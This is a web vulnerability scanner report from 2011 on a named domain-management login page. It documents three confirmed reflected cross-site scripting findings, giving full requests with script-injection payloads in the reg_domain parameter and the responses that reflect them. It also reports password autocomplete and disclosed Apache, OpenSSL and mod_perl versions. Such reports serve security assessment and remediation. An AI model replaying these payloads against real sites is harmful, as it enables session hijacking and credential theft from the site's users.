Netsparker, Web Application Security Scanner

XSS, Cross Site Scripting, Javascript Injection, manage.opensrs.net, CWE-79, CAPEC-86

Loading

Netsparker - Scan Report Summary
TARGET URL
https://manage.opensrs.net/xpackmanage/
SCAN DATE
3/21/2011 1:18:00 PM
REPORT DATE
3/21/2011 1:26:05 PM
SCAN DURATION
00:00:25

Total Requests

Average Speed

10.71 req/sec.
7
identified
4
confirmed
0
critical
0
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
43 %
LOW
57 %
Cross-site Scripting

Cross-site Scripting

3 TOTAL
IMPORTANT
CONFIRMED
3
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /xpackmanage/

/xpackmanage/ CONFIRMED

https://manage.opensrs.net/xpackmanage/?action=login&reg_domain='%22--%3E%3C/style%3E%3C/script%3E%3..

Parameters

Parameter Type Value
action GET login
reg_domain GET '"--></style></script><script>alert(0x000062)</script>
reg_password GET 3
reg_username GET Ronald Smith

Request

GET /xpackmanage/?action=login&reg_domain='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000062)%3C/script%3E&reg_password=3&reg_username=Ronald%20Smith HTTP/1.1
Referer: https://manage.opensrs.net/xpackmanage/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: manage.opensrs.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:40 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<center> <h1>Error</h1> <menu> <b>The error which occurred was:</b> <blockquote> It seems that '"--></style></script><script>netsparker(0x000062)</script> is an IDN domain.<br> Please <a href="?type=NATIVE&input='"--></style></script><script>netsparker(0x000062)</script>" target="_blank">convert</a> to Punycode first <BR><BR> </blockquote> </menu></center>
- /xpackmanage/index.cgi

/xpackmanage/index.cgi CONFIRMED

https://manage.opensrs.net/xpackmanage/index.cgi?action=login&reg_domain='%22--%3E%3C/style%3E%3C/sc..

Parameters

Parameter Type Value
action GET login
reg_domain GET '"--></style></script><script>alert(0x000063)</script>
reg_password GET 3
reg_username GET Ronald Smith

Request

GET /xpackmanage/index.cgi?action=login&reg_domain='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000063)%3C/script%3E&reg_password=3&reg_username=Ronald%20Smith HTTP/1.1
Referer: https://manage.opensrs.net/xpackmanage/index.cgi
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: manage.opensrs.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:40 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<center> <h1>Error</h1> <menu> <b>The error which occurred was:</b> <blockquote> It seems that '"--></style></script><script>netsparker(0x000063)</script> is an IDN domain.<br> Please <a href="?type=NATIVE&input='"--></style></script><script>netsparker(0x000063)</script>" target="_blank">convert</a> to Punycode first <BR><BR> </blockquote> </menu></center>
- /xpackmanage/index.cgi

/xpackmanage/index.cgi CONFIRMED

https://manage.opensrs.net/xpackmanage/index.cgi

Parameters

Parameter Type Value
action POST login
reg_domain POST '"--></style></script><script>alert(0x000071)</script>
reg_username POST Ronald Smith
reg_password POST 3

Request

POST /xpackmanage/index.cgi HTTP/1.1
Referer: https://manage.opensrs.net/xpackmanage/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: manage.opensrs.net
Content-Length: 150
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

action=login&reg_domain='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000071)%3c%2fscript%3e&reg_username=Ronald+Smith&reg_password=3

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:41 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<center> <h1>Error</h1> <menu> <b>The error which occurred was:</b> <blockquote> It seems that '"--></style></script><script>netsparker(0x000071)</script> is an IDN domain.<br> Please <a href="?type=NATIVE&input='"--></style></script><script>netsparker(0x000071)</script>" target="_blank">convert</a> to Punycode first <BR><BR> </blockquote> </menu></center>
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /xpackmanage/

/xpackmanage/ CONFIRMED

https://manage.opensrs.net/xpackmanage/

Identified Field Name

reg_password

Request

GET /xpackmanage/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: manage.opensrs.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:32 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<html><head><title>Manage Your Domain</title><meta http-equiv="Content-type" content="text/html; charset=UTF-8"><style type="text/css"><!--.soft {background: #e3e3e3}.main {background: #d0d0d0; }.plain { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial,Helvetica; }.accent { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}.heading {font-size: 16px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}--></style></head><body bgcolor="#FFFFFF"><center><BR><BR><!-- header end --><!-- login--><form method=post action="/xpackmanage/index.cgi"><input type=hidden name=action value="login"><table border=1 cellpadding=4 cellspacing=0><tr><td align=center bgcolor=navy><font face="verdana, arial" color=fffbec><strong>Manage Your Domain</strong></font></td><tr><td align=center bgcolor=d0d0d0><table border=0 cellpadding=0 cellspacing=0><tr><td><font face="verdana, arial" size=2><strong>Domain Name: </strong></font></td><td><input type=text name=reg_domain value="" size=26></td></tr><tr><td><font face="verdana, arial" size=2><strong>User Name:</strong></font></td><td><input type=text name=reg_username value="" size=15></td></tr><tr><td><font face="verdana, arial" size=2><strong>Password:</strong></font></td><td><input type=password name=reg_password value="" size=15></td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* User Name and Password are case sensitive</td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* Do not put www. as part of your domain name</td></tr></table></td></tr></table><BR><input type=submit value="Manage Domain"></form><BR>Click <a href="/manage">here</a> to manage a domain other than CH, FR, AT, MX, DK or LI<BR><BR><font color="red"><b>* Cookies must be enabled on your browser to use this interface</b></font><!-- footer --></center></BODY></HTML>
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /xpackmanage/

/xpackmanage/

https://manage.opensrs.net/xpackmanage/

Extracted Version

Apache/2.2.9 (Debian)

Request

GET /xpackmanage/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: manage.opensrs.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:32 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<html><head><title>Manage Your Domain</title><meta http-equiv="Content-type" content="text/html; charset=UTF-8"><style type="text/css"><!--.soft {background: #e3e3e3}.main {background: #d0d0d0; }.plain { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial,Helvetica; }.accent { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}.heading {font-size: 16px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}--></style></head><body bgcolor="#FFFFFF"><center><BR><BR><!-- header end --><!-- login--><form method=post action="/xpackmanage/index.cgi"><input type=hidden name=action value="login"><table border=1 cellpadding=4 cellspacing=0><tr><td align=center bgcolor=navy><font face="verdana, arial" color=fffbec><strong>Manage Your Domain</strong></font></td><tr><td align=center bgcolor=d0d0d0><table border=0 cellpadding=0 cellspacing=0><tr><td><font face="verdana, arial" size=2><strong>Domain Name: </strong></font></td><td><input type=text name=reg_domain value="" size=26></td></tr><tr><td><font face="verdana, arial" size=2><strong>User Name:</strong></font></td><td><input type=text name=reg_username value="" size=15></td></tr><tr><td><font face="verdana, arial" size=2><strong>Password:</strong></font></td><td><input type=password name=reg_password value="" size=15></td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* User Name and Password are case sensitive</td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* Do not put www. as part of your domain name</td></tr></table></td></tr></table><BR><input type=submit value="Manage Domain"></form><BR>Click <a href="/manage">here</a> to manage a domain other than CH, FR, AT, MX, DK or LI<BR><BR><font color="red"><b>* Cookies must be enabled on your browser to use this interface</b></font><!-- footer --></center></BODY></HTML>
OpenSSL Version Disclosure

OpenSSL Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing OpenSSL version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks.

Impact

An attacker can look for specific security vulnerabilities for the identified version. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /xpackmanage/

/xpackmanage/

https://manage.opensrs.net/xpackmanage/

Extracted Version

OpenSSL/0.9.8g

Request

GET /xpackmanage/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: manage.opensrs.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:32 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<html><head><title>Manage Your Domain</title><meta http-equiv="Content-type" content="text/html; charset=UTF-8"><style type="text/css"><!--.soft {background: #e3e3e3}.main {background: #d0d0d0; }.plain { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial,Helvetica; }.accent { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}.heading {font-size: 16px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}--></style></head><body bgcolor="#FFFFFF"><center><BR><BR><!-- header end --><!-- login--><form method=post action="/xpackmanage/index.cgi"><input type=hidden name=action value="login"><table border=1 cellpadding=4 cellspacing=0><tr><td align=center bgcolor=navy><font face="verdana, arial" color=fffbec><strong>Manage Your Domain</strong></font></td><tr><td align=center bgcolor=d0d0d0><table border=0 cellpadding=0 cellspacing=0><tr><td><font face="verdana, arial" size=2><strong>Domain Name: </strong></font></td><td><input type=text name=reg_domain value="" size=26></td></tr><tr><td><font face="verdana, arial" size=2><strong>User Name:</strong></font></td><td><input type=text name=reg_username value="" size=15></td></tr><tr><td><font face="verdana, arial" size=2><strong>Password:</strong></font></td><td><input type=password name=reg_password value="" size=15></td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* User Name and Password are case sensitive</td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* Do not put www. as part of your domain name</td></tr></table></td></tr></table><BR><input type=submit value="Manage Domain"></form><BR>Click <a href="/manage">here</a> to manage a domain other than CH, FR, AT, MX, DK or LI<BR><BR><font color="red"><b>* Cookies must be enabled on your browser to use this interface</b></font><!-- footer --></center></BODY></HTML>
Apache Module Version Disclosure

Apache Module Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing one of the Apache modules version. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the identified Apache module version. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /xpackmanage/

/xpackmanage/

https://manage.opensrs.net/xpackmanage/

Extracted Version

mod_perl/2.0.4

Request

GET /xpackmanage/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: manage.opensrs.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 21 Mar 2011 18:17:32 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.1
Connection: close
Content-Type: text/html


<html><head><title>Manage Your Domain</title><meta http-equiv="Content-type" content="text/html; charset=UTF-8"><style type="text/css"><!--.soft {background: #e3e3e3}.main {background: #d0d0d0; }.plain { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial,Helvetica; }.accent { font-size: 14px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}.heading {font-size: 16px; color: #000000; font-family: Verdana, Geneva, Arial, Helvetica; font-weight: bold}--></style></head><body bgcolor="#FFFFFF"><center><BR><BR><!-- header end --><!-- login--><form method=post action="/xpackmanage/index.cgi"><input type=hidden name=action value="login"><table border=1 cellpadding=4 cellspacing=0><tr><td align=center bgcolor=navy><font face="verdana, arial" color=fffbec><strong>Manage Your Domain</strong></font></td><tr><td align=center bgcolor=d0d0d0><table border=0 cellpadding=0 cellspacing=0><tr><td><font face="verdana, arial" size=2><strong>Domain Name: </strong></font></td><td><input type=text name=reg_domain value="" size=26></td></tr><tr><td><font face="verdana, arial" size=2><strong>User Name:</strong></font></td><td><input type=text name=reg_username value="" size=15></td></tr><tr><td><font face="verdana, arial" size=2><strong>Password:</strong></font></td><td><input type=password name=reg_password value="" size=15></td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* User Name and Password are case sensitive</td></tr><tr><td colspan=2><font face="verdana, arial" size=2 color=red><strong>* Do not put www. as part of your domain name</td></tr></table></td></tr></table><BR><input type=submit value="Manage Domain"></form><BR>Click <a href="/manage">here</a> to manage a domain other than CH, FR, AT, MX, DK or LI<BR><BR><font color="red"><b>* Cookies must be enabled on your browser to use this interface</b></font><!-- footer --></center></BODY></HTML>